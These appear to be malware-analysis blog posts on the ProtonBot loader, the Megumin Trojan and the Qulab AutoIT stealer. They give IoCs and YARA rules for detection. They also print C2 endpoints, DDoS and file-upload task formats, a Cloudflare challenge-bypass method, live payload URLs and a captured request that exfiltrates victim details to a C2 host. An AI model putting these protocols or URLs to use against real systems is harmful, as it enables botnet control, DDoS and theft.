There is a possibility to change the wallpaper of bot, by sending the OpCode 8 with an indicated following image to download. The scenario remains the same from the loader main task, with the exception of a different API call at the end

  1. Setup the downloaded directory on %TEMP% with GetTempPathA
  2. Remove footprints from cache DeleteUrlCacheEntryA
  3. Download the image - URLDownloadToFileA
  4. Change the wallpaper with SystemParametersInfosA

On this case the structure will be like this :

BOOL SystemParametersInfoA ( 
      UINT uiAction  -> 0x0014 (SPI_SETDESKWALLPAPER)
      UINT uiParam   -> 0
      PVOID pvParam  -> %ImagePath%
      UINT fWinIni   -> 1
);

I can't understand clearly the utility on my side but surely has been developed for a reason. Maybe in the future, I will have the explanation or if you have an idea, let me share your thought about it 🙂

Example in the wild

A few days ago, a ProtonBot C&C (187.ip-54-36-162.eu) was quite noisy to spread malware with a list of compatibilized 5000 bots. It's enough to suggest that it is used by some business already started with this one.

Tracker

Notable malware hosted and/or pushed by this Proton Bot

  • Qulab
  • ProtonBot 🙂
  • CoinMiners
  • C# RATs

There is also another thing to notice, is that the domain itself was also hosting other payloads not linked to the loader directly and one sample was also spotted on another domain & loader service (Prostoloader). It's common nowadays to see threat actors paying multiple services, to spread their payloads for maximizing profits.

MultipleLoaders

All of them are accessible on the malware tracker.

[*] Yellow means duplicate hashes in the database.

IoC

Proton Bot

  • 187.ip-54-36-162.eu/cmdd.exe
  • 9af4eaa0142de8951b232b790f6b8a824103ec68de703b3616c3789d70a5616f

Payloads from Proton Bot C2

Urls

  • 187.ip-54-36-162.eu/uploads/0et5opyrs1.exe
  • 187.ip-54-36-162.eu/uploads/878gzwvyd6.exe
  • 187.ip-54-36-162.eu/uploads/8yxt7fd01z.exe
  • 187.ip-54-36-162.eu/uploads/9xj0yw51k5.exe
  • 187.ip-54-36-162.eu/uploads/lc9rsy6kjj.exe
  • 187.ip-54-36-162.eu/uploads/m3gc4bkhag.exe
  • 187.ip-54-36-162.eu/uploads/me0zam1czo.exe
  • 187.ip-54-36-162.eu/uploads/Project1.exe
  • 187.ip-54-36-162.eu/uploads/qisny26ct9.exe
  • 187.ip-54-36-162.eu/uploads/r5qixa9mab.exe
  • 187.ip-54-36-162.eu/uploads/rov08vxcqg.exe
  • 187.ip-54-36-162.eu/uploads/ud1lhw2cof.exe
  • 187.ip-54-36-162.eu/uploads/v6z98xkf8w.exe
  • 187.ip-54-36-162.eu/uploads/vww6bixc3p.exe
  • 187.ip-54-36-162.eu/uploads/w1qpe0tkat.exe

Hashes

  • 349c036cbe5b965dd6ec94ab2c31a3572ec031eba5ea9b52de3d229abc8cf0d1
  • 42c25d523e4402f7c188222faba134c5eea255e666ecf904559be399a9a9830e
  • 5de740006b3f3afc907161930a17c25eb7620df54cff55f8d1ade97f1e4cb8f9
  • 6a51154c6b38f5d1d5dd729d0060fa4fe0d37f2999cb3c4830d45d5ac70b4491
  • 77a35c9de663771eb2aef97eb8ddc3275fa206b5fd9256acd2ade643d8afabab
  • 7d2ccf66e80c45f4a17ef4ac0355f5b40f1d8c2d24cb57a930e3dd5d35bf52b0
  • aeab96a01e02519b5fac0bc3e9e2b1fb3a00314f33518d8c962473938d48c01a
  • ba2b781272f88634ba72262d32ac1b6f953cb14ccc37dc3bfb48dcef76389814
  • bb68cd1d7a71744d95b0bee1b371f959b84fa25d2139493dc15650f46b62336c
  • c2a3d13c9cba5e953ac83c6c3fe6fd74018d395be0311493fdd28f3bab2616d9
  • cbb8e8624c945751736f63fa1118032c47ec4b99a6dd03453db880a0ffd1893f
  • cd5bffc6c2b84329dbf1d20787b920e5adcf766e98cea16f2d87cd45933be856
  • d3f3a3b4e8df7f3e910b5855087f9c280986f27f4fdf54bf8b7c777dffab5ebf
  • d3f3a3b4e8df7f3e910b5855087f9c280986f27f4fdf54bf8b7c777dffab5ebf
  • e1d8a09c66496e5b520950a9bd5d3a238c33c2de8089703084fcf4896c4149f0

Domains

  • 187.ip-54-36-162.eu

PDB

  • E:\PROTON\Release\build.pdb

Wallets

  • 3HAQSB4X385HTyYeAPe3BZK9yJsddmDx6A
  • XbQXtXndTXZkDfb7KD6TcHB59uGCitNSLz
  • LTwSJ4zE56vZhhFcYvpzmWZRSQBE7oMSUQ
  • t1bChFvRuKvwxFDkkm6r4xiASBiBBZ24L6h
  • 1Da45bJx1kLL6G6Pud2uRu1RDCRAX3ZmAN
  • 0xf7dd0fc161361363d79a3a450a2844f2a70907c6
  • D917yfzSoe7j2es8L3iDd3sRRxRtv7NWk8

Threat Actor

  • Glad0ff (Main)
  • ProtonSellet (Seller)

Yara

rule ProtonBot : ProtonBot {
meta:
description = "Detecting ProtonBot v1"
author = "Fumik0_"
date = "2019-05-24"

strings:
$mz = {4D 5A}

$s1 = "proton bot" wide ascii
$s2 = "Build.pdb" wide ascii
$s3 = "ktmw32.dll" wide ascii
$s4 = "json.hpp" wide ascii

condition:
$mz at 0 and (all of ($s*))
}

Conclusion

Young malware means fresh content and with time and luck, could impact the malware landscape. This loader is cheap and will probably draw attention to some customers (or even already the case), to have less cost to maximize profits during attacks. ProtonBot is not a sophisticated malware but it's doing its job with extra modules for probably being more attractive. Let's see with the time how this one will evolve, but by seeing some kind of odd cases with plenty of different malware pushed by this one, that could be a scenario among others that we could see in the future.

On my side, it's time to chill a little.

chill

Special Thanks - S!ri & Snemes

Let’s nuke Megumin Trojan

3 May 2019 at 11:05
By: fumko

When you are a big fan of the Konosuba franchise, you are a bit curious when you spot a malware called "Megumin Trojan" (Written in C++) on some selling forums and into some results of sandbox submissions. Before some speculation about when this malware has appeared, this one is not recent and there are some elements that prove it was present on the market since the beginning of 2018.

Since the last days, there is an increased activity related to a new version that was probably launched not so long ago (a v2), and community started to talk about it, but a lot of them has misinterpretation with Vidar due to the utilization of the same boundary beacon string. This analysis will help you to definitely clarify how to spot and understand how Megumin Trojan is working and it definitely has a specific signature, that you can't miss it with you dig on it (for both network activities & code).

This malware is a Trojan who has a bunch of features:

  • DDoS
  • Miner
  • Clipper
  • Loader
  • Executing DOS commands on bots
  • Uploading specific files from bots to C&C

It's time to reverse a little all of that 🙂

Anti-Analysis Techniques

The classy PEB

This malware is using one of the classiest tricks for detecting that the process is currently debugged, by checking a specific field into the Process Environment Block (PEB). For those who are unfamiliar with this, it's a structure that contains all process information.

typedef struct _PEB { 
  BYTE Reserved1[2]; 
  BYTE BeingDebugged; // HERE
  ...< Other fields >...
  PVOID Reserved12[1]; 
  ULONG SessionId; 
} PEB, *PPEB;

For our case, the value "BeingDebugged" will be "obviously" checked. But how it looks like when reversing it? Here it's looking like this.

megumin_peb

  • fs:[18] is where is located the Thread Environment Process (TEB)
  • ds:[eax+30] is necessary to have access into the PEB, that is part of the TEB.
  • ds[eax+2] remains to retrieve the value TEB.PEB.BeingDebugged

megumin_peb_value

This one has been used multiple times during the execution process of Megumin Trojan.

Window Title

This other trick used here is to get the title of the program and comparing it with a list of strings. For achieving it, the malware is calling GetForegroundWindow at first for the Windows of the current process and then grabbing the title with the help of GetWindowTextA.

megumin_anti_01

megumin_anti_02

The comparison with the string is done step by step, by decrypting first the XOR string and comparing it with the Window Title, and continuing the functions until every value is checked.

The completed string list :

  • OllyDbg
  • IDA
  • ImmunityDebugger
  • inDb (Remain to WinDbg)
  • LordP (Remains to LordPE)
  • ireshark  (Remains to Wireshark)
  • HTTP Analyzer

This technique here is not able to work completely because it's checking the Windows Title of the current process used and so, some strings won't be able to work at all. When I was reversing it, I didn't understand at all why it was done like this, maybe something that was done fast or another unrelated explanation and we will never know.

Dynamic Process Blacklist

When the malware is fully configured, it performs an HTTP POST request called /blacklist. The answer contains a list of processes that the attacker wants to kill whenever the payload is active, the content is encoded in base64 format.

When processes are flagged as blacklisted, those are stored into variables as Process Handles, and they are checked and killed by a simple comparison. For terminating them the ZwTerminateProcess (or NtTerminateProcess if you are looking on a disassembler) API call is used and after the accomplishment of the task, the value on memory is initialized again to -1 for continuing, again and again, to maintain that these processes will never be able to be active whenever the malware is up.

megumin_blacklist_kill

By default, all values are set to -1 (0xFFFFFFFF)

Network interactions list

Megumin is quite noisy, in term of interactions between bots and the C&C, and the amount of API request is more than usual compared to the other malwares that I have  analyzed. So to make as much as possible simple and understandable, I classified them into three categories.

General commands

/suicide Killing request
/config Malware config
/msgbox Fake message prompt window
/isClipper is Clipper activated
/isUSB Is set up to spread itself on removable drives
/blacklist Process blacklist
/wallets Wallet config for the clipper part
/selfDel Removing the payload of the original PE

Bot commands

/addbot?hwid= Add a new bot to the C&C (*)
/task?hwid= Ask for a task
/completed?hwid= Tell the C&C that task has been done
/gate?hwid= Gate for uploading/stealing specific files from bot to C&C
/reconnecttime Amount of time for next request between bot and C&C

(*) Only when the User-Agent is strictly configured as "Megumin/2.0"

Miner commands

/cpu CPU Miner configuration
/gpuAMD GPU AMD Miner Configuration
/gpuNVIDIA GPU NVIDIA Miner Configuration

As a reminder, all response from the server are encoded in base64 with the only exception of the /config one, which is in clear.

Curiosity: This malware is also using the same boundary beacon as Vidar and some other malware.

That "messy" setup

This trojan is quite curious about how it's deploying itself and the first time I was trying to understand the mess, I was like, seriously what the heck is wrong with the logic of this malware. After that, I thought it was just the only thing weird with megumin, but no. To complexify the setup, interactions with the C&C are different between different stages.

For explaining everything, I decided to split it into multiple steps, to slowly understand the chronological order of it.

Step 1

  • In the first request, the malware is downloading a payload named "reserv.exe". if this file is not empty it means the current payload is not the main build of the malware. reserv.exe is downloaded and saved into a specific folder hidden in %PROGRAMDATA% as "{MACHINE_GUID}" (for example {656a1cdc-0ae0-40d0-a8bb-fdbd603c3b13}),this file at the end is renamed as "update.exe".
  • Then two or three requests are performed
    • /suicide
    • /msgbox
    • /selfDel (optional)
  • A scheduled task is created with this specific pattern for the persistence, the name of the payload will be "update.exe" and another one on the registry.
    • "Scheduled Updater - {*MACHINE_GUID*}"
  • Then the payload is killed and removed

Reminder: If the malware was not fast enough to download reserv.exe for whatever reasons, it is named by a random windows process name, and will continue the process over and over until it will grab reserv.exe

Curiosity: The way this malware is creating a folder into PROGRAMDATA is strictly the same way as Arkei, BaldrRarog & Supreme++ (Rarog fork).

Megumin

megumin_path

Arkei

megumin_arkei

Rarog

megumin_rarog

Step 2

  • reserv.exe is again downloaded, and considering the file is empty, so at that time, the correct build for communicating with the C&C.
  • Those requests are performed
    • /suicide
    • /msgBox
    • /config

The config is the only request was the server is not encoding it in base64 format, there are 4 options possible.

Option 1 USB task (Spreading the build on removable drives)
Option 2 Clipper
Option 3 ???
Option 4 ???
  • A scheduled task is created with this specific pattern for the persistence and the name of the payload is at that time a random known legitimate windows process (also same thing on the registry).
    • "Scheduled Updater - {*MACHINE_GUID*}"
  • Then the payload is killed and removed

If this file is empty, it's considered that it reached its final destination and its final C&C, so seeing two Megumin C&C on the same domain could be explainable by this (and It was the case on my side).

Step 3

  • reserv.exe is always checked for checking if there is a new build
  • Now the behavior on the network flows is totally new. The bot is now way more talkative and is going to be fully set up and registered to the C&C.
    • /suicide
    • /config
    • /addbot?hwid=...&..... # Registration
    • /blacklist
    • /wallets
    • /task?hwid=... # Performs a task
    • ... a lot of possible tasks (explained below)
    • /completed?hwid=... # Alerting that the task is done
    • /reconnecttime

For the addbot part, the registration is requiring specific fields that will be all encoded in base64 format.

  • Machine GUID
  • Platform
  • Windows version
  • CPU Name
  • GPU Name
  • Antivirus
  • Filename (name of the megumin payload)
  • Username

example of request (Any.Run)

http://90551.prohoster.biz/megumin/addbot?hwid=OTAwNTljMzctMTMyMC00MWE0LWI1OGQtMmI3NWE5ODUwZDJm&bit=eDMy&win=V2luZG93cyA3IFByb2Zlc3Npb25hbA==&cpu=SW50ZWwoUikgQ29yZShUTSkgaTUtNjQwMCBDUFUgQCAyLjcwR0h6AAAAAAAAAAAA&gpu=U3RhbmRhcmQgVkdBIEdyYXBoaWNzIEFkYXB0ZXI=&av=VW5rbm93bg==&filename=Y3Nyc3MuZXhl&username=YWRtaW4=

Step 4

  • reserv.exe is always checked for checking if there is a new build
  • If the bot is run after the registration, it will be possible to have this pattern of request
    • /suicide
    • /config
    • /task?hwid=... # Performs task
    • ... a lot of possible tasks (explained below)
    • /completed?hwid=... # Alerting that the task is done
    • /reconnecttime

Fake messages

As shown above, the malware has also a feature to prompt a fake window and this could be used for making "some realistic scenario" of a typical fake software, crack or other crapware, lure the user during the execution that the software has been installed or there is an error during the false installation or execution. It's really common to see nowadays fake prompt window for missing runtime DLL, or fake Fortnite hack or whatever Free Bitcoin trap generator, this kind of lure will always work in some kind of people, even more with kids.

For configuring the feature, the bot is sending a specific HTTP POST Request named "/msgbox" and After decoding the base64 response from the server the response is split into multiple variables :

  • An integer value that will represent the Icon of the Window
  • A second int value that will represent the buttons that will be used
  • The caption (Title)
  • The text that will be printed on the prompt window

megumin_msgbox

Corresponding case input codes with the configuration of the prompt window are classified below:

uType - Uint Code - Icons - cases

Case Code Value Meaning
1 0x00000020L Question-mark message box
2 0x00000030L Information message box
3 0x00000040L Warning message box

uType - Uint Code - Buttons - cases

Case Code Value Meaning
0 0x00000002L Abort, Retry & Ignore buttons
1 0x00000006L Cancer, Try Again, Continue buttons
2 0x00004000L Help button
3 0x00000000L OK button
4 0x00000001L OK & Cancel buttons
5 0x00000005L Retry & Cancel buttons
6 0x00000004L Yes & No buttons
7 0x00000003L Yes, No & Cancel buttons

Clipper

Before that the malware is executing the main module, all the regexes that will be used for catching the whished data are stored dynamically into memory.

megumin_clipper_regex

Then when the malware is fully installed if the clipping feature is activated by the config request, another one called "/wallet" is performed. This command gives to the bot the list of all wallet configured to be clipped. the content is base64 encoded.

At this point,  the classy infinite loop like Qulab is performed and will remain the same until the program is killed or crashed.

  1. The content of the clipboard is stored into a variable.
  2. Step by step, all regexes are checking if it matches with the clipboard.
  3. If one regex triggers something, the content on the clipboard is switched by the one that the attacker wants and some data are sent to the C&C.
/newclip?hwid=XXX&type=XXX&copy=XXX&paste=XXX&date=XXX

The whole process of the clipper is representing like this.

megumin_clipper_window

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

For some investigation, this is the complete list of wallets, softwares, and websites targeted by this malware.

Bitcoin BitcoinGold BtcCash Ethereum
BlackCoin ByteCoin EmerCoin ReddCoin
Peercoin Ripple Miota Cardano
Lisk Stratis Waves Qtum
Stellar ViaCoin Electroneum Dash
Doge LiteCoin Monero Graft
ZCash Ya.money Ya.disc Steam
vk.cc QIWI

Tasks

When the bot is sending a request to the C&C, there is a possibility to have nine different tasks to be performed and they are all presenting like this.

<name>|<command>|...

There are currently 3 main fields for the tasks.

  • DDoS
  • Executing files
  • Miscellaneous

Whenever a task is accomplished, the request "/completed?hwid=" is sent to the C&C. The reason for this is simple, tasks can be counted and when it reaches a specific amount, the task is simply deactivated.

Let's reviewing them!

megumin_task_answers.png

DDoS

Socket HTTP

Task format

socket|time|threads|link

When there is a necessity to create threads for performing the DDoS tasks, it only grabs the specific fields and using it a length for a thread loop creation as shown below, lpStartAddress will contain the reference of the specific DDoS function that the bot has to do.

megumin_ddos_socket_threads

When inspecting it the function, we can see the layer 7 DDoS Attack by flooding the server by HTTP GET requests with the help of sockets.

megumin_ddos_socket

When everything is configured, the send function is called for starting the DDoS.

megumin_ddos_socket_02

HTTP

Task format

http|time|threads|link

As explained above, the technique will remain always the same for the thread setup, only the function addressed is different. For the HTTP DDoS task, it's another Layer 7 DDoS Attack by flooding the server with HTTP requests by using the methods from the Wininet library :

It's slower than the "socket" tasks, but it used for the case that the server is using 301 redirects.

TCP

Task format

tcp|time|threads|port|link

The TCP task is Layer 4 DDoS Attack, by performing spreading the server TCP sockets requests with a specified port.

megumin_ddos_tcp

JS Bypass

Task format

jsbypass|time|threads|link

When the website is using Cloudflare protection, the malware is also configured to use a known trick to bypass it by creating a clearance cookie for not being able to be challenged anymore.

megumin_js_01

The idea is when it's reaching for the first time the Website, a 503 error page will redirecting the attacker into a waiting page (catchable by the string "Just a moment" as shown above), At this moment Cloudflare is, in fact, sending the challenging request,  so a __cfduid cookie is generated and the content of the source code on this page is fetched by the help of a parser implemented in the malware. It needs 3 parameters at least, 2 of them are already available :

jschl_vc the challenge token
pass ???

The last field is the jschl_answer, as guessable this is the answer to the challenge asked by Cloudflare. To solve it, an interpreter was also implemented to parse the js code, catching the challenge-form value and a.value field for interpreting correctly the native code with the right setup.

This process shown as below is the interpreter that will analyze block per block the challenge with the help of a loop, the data is shelled and each block will be converted into an integer value, the sum of all of them will give us the jschl_answer value.

megumin_js_05

so at the end of the waiting page, this request is sent:

/cdn-cgi/l/chk_jschl?jschl_vc=VALUE&pass=VALUE&jschl_answer=VALUE

chk_jschl leads to the cf_clearance cookie creation if the answer to the challenge is correct and this cookie is proof that you are authentic and trusted by Cloudflare, so by keeping it bypasses for the next requests sent, the website will no longer challenging the attacker temporarily.

Miscellaneous curiosities

the default values for DDoS tasks are :

Time 180 (in seconds)
Threads 2500
Port 42

Loader

Load

Task format

load|link

Seeing a loader feature is something that a quite common thing by the current trendings, customers that bought malware wants to maximize their investments at all cost. This trojan is also configured to pushed some payloads. There is nothing much to say about this. The only important element, in this case, it's that the loaded payload is stored into the %PROGRAMDATA% folder with the name of {MACHINE_GUID}.exe.

Load PE

Task format

loadpe|link

Contrary to a simple loader feature, this one is typically a process hollowing alternative. It's only working with 32 bits payload and using this classy process injection trick into a legitimate process.

megumin_loadpe

For some reasons, the User-Agent "Mozilla/5.0 (Windows NT 6.1) Megumin/2.0" is catchable when it's downloading the payload on this specific load PE task.

More information about process injections techniques here

Update

Task format

update|build_link

When there is an update required with the malware, there is a possibility to push a new build to the bot by using this task.

Miscellaneous tasks

cmd

Task format

cmd|command

One of the miscellaneous tasks possible is the possibility to send some cmd commands on the bot. I don't have a clue about the necessity of this task, but if it's implemented, there is a reason for that.

megumin_cmd

Complete list available here

upload

Task format

upload|fullpath

If the attacker knows exactly what he's doing, he can steal some really specific files on the bot, by indicating the full path of the required one. The crafted request at the end will be on that form, for pushing it on the C&C.

/gate?hwid=XXX

Miner

The miner is one of the main features of the trojan. Most of the time, When analysts are reversing a miner, this is really easy to spot things and the main ideas are to understand the setup part and how it's executing the miner software.

At the end for future purposes, I am considering their check-up list as relevant when reversing one:

  • Is it targeting CPU, GPU or both?
  • If it's GPU, is Nvidia & AMD targeted?
  • Is it generating a JSON config?
  • What miner software is/are used
  • Are there any Blacklist Country or Specific countries spotted to mine?
  • What are the pools addresses?

On this malware, Both hardware type has been implemented, and for checking which miner software is required on the GPU part, it only checking the name of the GPU on the bot, if Nvidia or AMD is spotted on the text, request to the C&C will give the correct setup and miner software.

megumin_miner_cpu_config

The base64 downloaded miner config contains two things:

  • The link of the miner software
  • The one-line config that will be executed with the downloaded payload by the help of ShellExecuteA

For some reasons, the User-Agent "Mozilla/5.0 (Windows NT 6.1) Megumin/2.0" is only catchable when it's downloading the miner software for the CPU part, not for the GPU.

Server-side

Login Page

The login page is quite fancy, simplest. Even if I could be wrong of with this statement, it's using the same core template as Supreme++ (Rarog Fork) with some tweaks.

Something interesting to notice with this C&C, that there is no password but a 2FA Google authenticator on the authentication part.

Megumin

Dashboard

There is not too much to say about the dashboard, its a classy stats page with these elements:

  • Top Countries
  • New bots infected (weekly)
  • Bots Windows Chart
  • Number of bots online (weekly)
  • Bots CPU chart
  • Bots GPU chart
  • Platform chart
  • AV Stats
  • Current cryptocurrencies values
  • Top stolen wallet by the clipper

megumin_dashboard_01megumin_dashboard_02megumin_dashboard_03megumin_dashboard_04

Bots

  • Bots - Current list of bots
  • Tasks - Task creation & current task list
  • Files - All files that have been uploaded to the C&C with the help of the task "upload"

megumin_panel_bots

Task setup

Tasks that I've detailed above are representing like this on the C&C, as usual, it's designed to be user-friendly for customers, they just want to configure fast and easily their stuff to be able to steal & being profitable quickly as possible.

megumin_bots_tasks_step1

When selected, there is a usual configuration setup for the task, with classy fields like :

  • Task Name
  • Max Executions routine
  • If the Task must be designed for targeting only one bot
  • And an interesting advanced setting tab

megumin_bots_tasks_step2

If we look at it, the advanced setting is where the C&C could targeting bots by :

  • Specific hardware requirements
  • Platform
  • Countries

Countries can be easily catchable on the Victim machine by checking the Locale of the Keyboard (I have already explained this tick on Vidar) and the IP.

megumin_bots_tasks_step2_adv

So it means that malware could be designed to target highly specific areas.

When the task is completed, its represented like this.

megumin_task_cc

 

Clips

megumin_panel_clips

Settings

Bots

megumin_settings_bots

  • "USB Spreading" remains to /isUSB API request
  • "Del exe after start" remains to /selfDel API request

Clipper

Clipper is quite simple, it's just the configuration of all wallet that will be clipped.

megumin_settings_clipper

Miner

The miner tab is quite classy also, just a basic configuration of the config and where it will download the payload.

megumin_settings_miner

As usual, the process blacklist will remain the same as we saw in other miner malware. Some google search will be sufficient to know which processes are the most targeted.

MessageBox

A fancy message box configuration part with multiple possibilities.

megumin_settings_msbox

Countries

It's also possible to ban bots from specific countries, on the side bot side, the malware will check if the country is valid or not with the help of the IP and the Keyboard Language configuration.

megumin_settings_countries

On the code, it's easily traceable by these checks, for more explanation about how it works for the keyboard part, this is already detailed on the Vidar paper.

Panel

For some reasons, there is also a possibility to change the username for the panel authentication, by doing this the 2FA Google Authenticator is required for confirming this.

megumin_settings_panel

Script

For further investigation about this v2, I developed a small script called "ohana", like the Vidar one to extract the configuration of each sample and it's already available on my GitHub repository.

megumin_script

IoCs

Hashes

  • d15e1bc9096810fb4c954e5487d5a54f8c743cfd36ed0639a0b4cb044e04339f
  • e6c447c826ae810dec6059c797aa04474dd27f84e37e61b650158449b5229469
  • c70120ee9dd25640049fa2d08a76165948491e4cf236ec5ff204e927a0b14918
  • d431e6f0d3851bbc5a956c5ca98ae43c3a99109b5832b5ac458b8def984357b8
  • ed65610f2685f2b8c765ee2968c37dfce286ddcc31029ee6091c89505f341b97
  • 89813ebf2da34d52c1b924b408d0b46d1188b38f035d22fab26b852ad6a6fc19
  • 8777749af37a2fd290aad42eb87110d1ab7ccff4baa88bd130442f25578f3fe1

Domains

  • 90551.prohoster.biz
  • baldorclip.icu
  • santaluisa.top
  • megumin.top
  • megumin.world

PDB

  • C:\Users\Ddani\source\repos\MeguminV2\Release\MeguminV2.pdb
  • C:\Users\Administrator\Desktop\MeguminV2\Release\MeguminV2.pdb

Threat Actors

  • Danij (Main)
  • Moongod

MITRE ATT&CK

Yara

rule Megumin : Megumin {
  meta:
    description = "Detecting Megumin v2"
    author = "Fumik0_"
    date = "2019-05-02"

  strings:
    $mz = {4D 5A}

    $s1 = "Megumin/2.0" wide ascii
    $s2 = "/cpu" wide ascii
    $s3 = "/task?hwid=" wide ascii
    $s4 = "/gate?hwid=" wide ascii
    $s5 = "/suicide" wide ascii

  condition:
    $mz at 0 and (all of ($s*))
}

Conclusion

Megumin Trojan is not a complicated malware but about all the one that I have reversed, this is the most talkative one that I've analyzed and possesses a quite some amount of tasks. Let's see with the time how this one will evolve, but it's confirmed at that time, there is currently a lot of interesting stuff to do with this one :

  • in term of analysis
  • in term of cybercrime investigation

umaru_screen

#HappyHunting
#WeebMalware

Special Thanks: S!Ri

Photo by Jens Johnsson on Unsplash

Let’s play with Qulab, an exotic malware developed in AutoIT

25 March 2019 at 09:32
By: fumko

After some issues that kept me far away from my researches, it's time to put my hands again on some sympathetic stuff. This one is technically and finally my real first post of the year (The anti-VM one was a particular case).

So today, we will dig into Qulab Stealer + Clipper, another password-stealer that had my attention to be (on my point view) an exotic one, because it is fully developed in AutoIT and have a really cool obfuscation technique that occupied me for some times. Trends to have malware that is coded in some languages different than C, C++, .NET or Delphi is not new, there is a perfect case with the article made by Hasherezade earlier this year for a stealer developed in GoLang (that I highly recommend taking a look on it).

Normally, using AutoIT scripts in that area is pretty common. It's widely used as a packer for hiding detection or as a node into an infection chain, but as a whole password-stealer, it's not the same. I could say it's a particular case because it's resale with support on the black market.

Even if as usual, techniques remains the same for the stealing features, it's always entertaining to see how there is plenty of ways to achieve one simple goal. Also, the versatility on this one is what makes me overwhelmed my curiosity and burning all my sleep time for some reasons...

Qulab is focusing on these features:

  • Browser stealing
  • Wallet Clipper
  • FTP creds
  • Discord / Telegram logs
  • Steam (Session / Trade links / 2FA Authenticator by abusing a third party software)
  • Telegram Bot through a proxy
  • Grabber

Auto IT?

As I mentioned in the intro, Qulab is coded in AutoIT, for people that are really not in touch it or have no idea about it, it is an automation language who has a syntax similar to the BASIC structure, it's designed to work only on Microsoft Windows.

They are two way to execute AutoIT scripts :

  • If the script is run with the .au3 format, AutoIT dependances are required and all the libraries that are necessary to run it.
  • If the script is compiled all the libraries are added into it for avoiding dependances. It means that you don't need to install AutoIT for executing PE.

When the instructions are compiled into an executable file, it's easy to catch if we are analyzing an AutoIT script by a simply checking some strings, so there already some Yara rules that made the task to confirm that is the case.

‌‌ 
‌‌ 
rule AutoIt
{
	meta:
		author = "_pusher_"
		date = "2016-07"
		description = "www.autoitscript.com/site/autoit/"
	strings:		
		$aa0 = "AutoIt has detected the stack has become corrupt.\n\nStack corruption typically occurs when either the wrong calling convention is used or when the function is called with the wrong number of arguments.\n\nAutoIt supports the __stdcall (WINAPI) and __cdecl calling conventions.  The __stdcall (WINAPI) convention is used by default but __cdecl can be used instead.  See the DllCall() documentation for details on changing the calling convention." wide ascii nocase
		$aa1 = "AutoIt Error" wide ascii nocase
		$aa2 = "Missing right bracket ')' in expression." wide ascii nocase
		$aa3 = "Missing operator in expression." wide ascii nocase
		$aa4 = "Unbalanced brackets in expression." wide ascii nocase
		$aa5 = "Error parsing function call." wide ascii nocase
	
		$aa6 = ">>>AUTOIT NO CMDEXECUTE<<<" wide ascii nocase
		$aa7 = "#requireadmin" wide ascii nocase
		$aa8 = "#OnAutoItStartRegister" wide ascii nocase
		$aa9 = "#notrayicon" wide ascii nocase
		$aa10 = "Cannot parse #include" wide ascii nocase
	condition:
		5 of ($aa*)
}
‌‌ 
‌‌

On my side, I will not explain the steps or tools to extract the code, they are plenty of tutorials on the internet for explaining how it's possible to extract some AutoIt scripts. The idea here is to focus mainly on the malware, not on the extracting part...

Code Obfuscation

After extracting the code from the PE, it's easy to guess that some amazing stuff is coming to our eyes by just looking the amount of code... The analysis of this malware will be some kind of challenge.

‌‌ 
‌‌ 
cat Qulab.au3 | wc -l
21952 // some pain incomming
‌‌ 
‌‌ 

The source code is really (really) obfuscated but not hard to clean it. it takes just quite some times with the help of homemade scripts to surpass it. But as an analyst that wants to have information, a simple dump of the process during the execution and the report a sandbox is sufficient to understand the main tasks.

For non-technical people, I have created a dedicated page on GitHub for being able to read and learn easily the AutoIT fundamentals. I highly recommend to open it during the reading of this article, it will be easier. you had also to read the official AutoIT FAQ for understanding the API. Unfortunately, it's not complete as the Microsoft MSDN documentation but it's enough about the basic principles of this language...

It's impossible to explain all form of obfuscation in this malware, but this is a summary of the main tricks.

  • Variable & Function Naming convention

All variables except few exceptions are in that form

‌‌ 
‌‌ 
\$A\d[A-F0-9]{3,10}
‌‌ 
‌‌

It's wonderful to see over ten thousand (and more) variables like this into the whole script (sarcasm)

‌‌ 
‌‌ 
$A18A4000F15
$A5AA4204E10
$A0FA4403A33
$A55A4601801
$A24A4804C5C
...
‌‌ 
‌‌
  • Garbage conditions

When there is an obfuscated code, there is obviously a huge amount of nonsense conditions or unused functions. It doesn't take a long time to get the idea on Qulab because they are easily catchable by pure logic, take an example on this one :

‌‌ 
‌‌ 
FUNC A5D10600720(BYREF $A37E6C01A00,$A183A702F3C)
    IF NOT ISDECLARED("SSA5D10600720") THEN
    ENDIF
    ...
    ...
ENDFUNC
‌‌ 
‌‌

This a classical pattern, the condition is just checking if a variable ("SS" + Function Name) is not declared, inside there is always some local variables that are initiated for purposes of the functions and most of the time they are coming from the master array. By deobfuscating them, the whole conditions on this pattern can be removed variables are switched by their corresponding values, it permits to delete a lot of codes.

  • Unused Functions

Another classy scheme is to find some unused functions, and this permit to clean effectively thousands of lines of junk code by creating a script for the purposes or using some User-defined functions made by the AutoIT community.

Unused_Functions

  • Initiating Variables and using them
‌‌ 
‌‌ 
GLOBAL LOCAL $VARIABLE_1 = FUNC1(ARRAY[POS])
...Code....
GLOBAL LOCAL $VARIABLE_455 = $VARIABLE_1
...Code...
GLOBAL LOCAL $VARIABLE_9331 = VARIABLE_455 <- Final Value
‌‌ 
‌‌

> Initiating them by a condition

‌‌ 
‌‌ 
IF $A4A7AC0550A=DEFAULT THEN $A4A7AC0550A=-NUMBER($A198A005329)
IF $A2F7AD03E54=DEFAULT THEN $A2F7AD03E54=-NUMBER($A2C8A10261F)
IF $A3D7AE0071E=DEFAULT THEN $A3D7AE0071E=-NUMBER($A218A202B4D)
IF $A3F7AF01354=DEFAULT THEN $A3F7AF01354=-NUMBER($A2A8A300E5F)
‌‌ 
‌‌

> Using count variable into a 2D Array, with a value that is stored inside a 20 000 length array.

‌‌ 
‌‌ 
$A31E5E11A1F[NUMBER($A2646512725)][NUMBER($A0C46615D39)]+=NUMBER($A5246713208)
‌‌ 
‌‌

> Hiding code error integers by a mixture of multiple functions and variables.

‌‌ 
‌‌ 
RETURN SETERROR($A2C07504A0A,NUMBER($A411740414D),NUMBER($A6017502D45))
‌‌ 
‌‌

Code Execution

This malware has an unorthodox way to execute code and it's pretty cool.

  1. Read the directives, follow them to go to the main function
  2. The main function will set up the master array (I will explain this later)
  3. When this function is done, the script will go again to the beginning by a purely logical way after the directives, and search for Global variables and instructions, for our case, it will be some global variables.
  4. When all of the Global Variables have been initiated, it will skip all the functions because they are simply not called (for the moment), and will try to reach some exploitable instruction (as I explained above).
    When finally some code is reachable, a domino effect occurs, an initiated variable will call one function, that inside it will call one or multiple functions, and so on.
  5. During the same process, there is also some encoded files that are hardcoded into the code and injected into the code for some specific tasks. When every setup tasks are done, it's entering into an infinite loop for specific purposes.

In the end, it could be schematized like this.

Steps_Qulab

Directives are leading the road path

